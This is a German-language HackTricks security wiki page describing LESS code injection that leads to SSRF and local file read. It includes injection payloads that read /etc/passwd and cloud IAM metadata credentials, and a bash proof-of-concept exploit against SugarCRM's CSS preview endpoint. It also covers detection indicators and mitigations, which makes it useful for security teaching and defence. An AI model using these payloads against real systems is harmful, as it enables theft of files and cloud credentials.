LESS Code Injection, die zu SSRF & Local File Read führt

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Übersicht

LESS ist ein beliebter CSS-Präprozessor, der Variablen, Mixins, Funktionen und die leistungsstarke @import-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine die in @import-Anweisungen referenzierten Ressourcen abrufen und deren Inhalte in das resultierende CSS einbetten ("inline"), wenn die Option (inline) verwendet wird.

Wenn eine Anwendung benutzergesteuerte Eingaben in einen String einfügt, der später vom LESS-Compiler geparst wird, kann ein Angreifer willkürlichen LESS-Code injizieren. Durch den Missbrauch von @import (inline) kann der Angreifer den Server zwingen, Folgendes abzurufen:

  • Lokale Dateien über das file://-Protokoll (Informationsoffenlegung / Local File Inclusion).
  • Remote-Ressourcen in internen Netzwerken oder Cloud-Metadaten-Diensten (SSRF).

Diese Technik wurde in realen Produkten wie SugarCRM ≤ 14.0.0 (/rest/v10/css/preview-Endpunkt) beobachtet.

Ausnutzung

  1. Identifizieren Sie einen Parameter, der direkt in einen Stylesheet-String eingebettet ist, der von der LESS-Engine verarbeitet wird (z. B. ?lm= in SugarCRM).
  2. Schließen Sie die aktuelle Anweisung und injizieren Sie neue Direktiven. Die häufigsten Primitiven sind:
  • ; – beendet die vorherige Deklaration.
  • } – schließt den vorherigen Block (falls erforderlich).
  1. Verwenden Sie @import (inline) '<URL>';, um willkürliche Ressourcen zu lesen.
  2. Optional können Sie einen Marker (data: URI) nach dem Import injizieren, um die Extraktion des abgerufenen Inhalts aus dem kompilierten CSS zu erleichtern.

Local File Read

1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //

Der Inhalt von /etc/passwd wird in der HTTP-Antwort kurz vor dem @@END@@ Marker angezeigt.

SSRF – Cloud-Metadaten

1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //

Automatisierte PoC (SugarCRM-Beispiel)

bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd

TARGET="$1"        # Base URL of SugarCRM instance
RESOURCE="$2"      # file:// path or URL to fetch

INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")

curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'

Detection

  • Suchen Sie nach dynamisch generierten .less oder .css Antworten, die unsanitized Query-Parameter enthalten.
  • Durchsuchen Sie bei der Code-Überprüfung Konstruktionen wie "@media all { .preview { ... ${userInput} ... } }" die an LESS-Renderfunktionen übergeben werden.
  • Exploit-Versuche enthalten oft @import, (inline), file://, http://169.254.169.254 usw.

Mitigations

  • Geben Sie keine untrusted Daten an den LESS-Compiler weiter.
  • Wenn dynamische Werte erforderlich sind, escapen/sanitizen Sie diese ordnungsgemäß (z. B. auf numerische Tokens beschränken, Whitelists).
  • Deaktivieren Sie, wenn möglich, die Möglichkeit, (inline) Importe zu verwenden, oder beschränken Sie die erlaubten Protokolle auf https.
  • Halten Sie Abhängigkeiten auf dem neuesten Stand – SugarCRM hat dieses Problem in den Versionen 13.0.4 und 14.0.1 behoben.

Real-World Cases

ProduktVerwundbarer EndpunktAuswirkung
SugarCRM ≤ 14.0.0/rest/v10/css/preview?lm=Unauthenticated SSRF & lokale Dateilesen

References

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks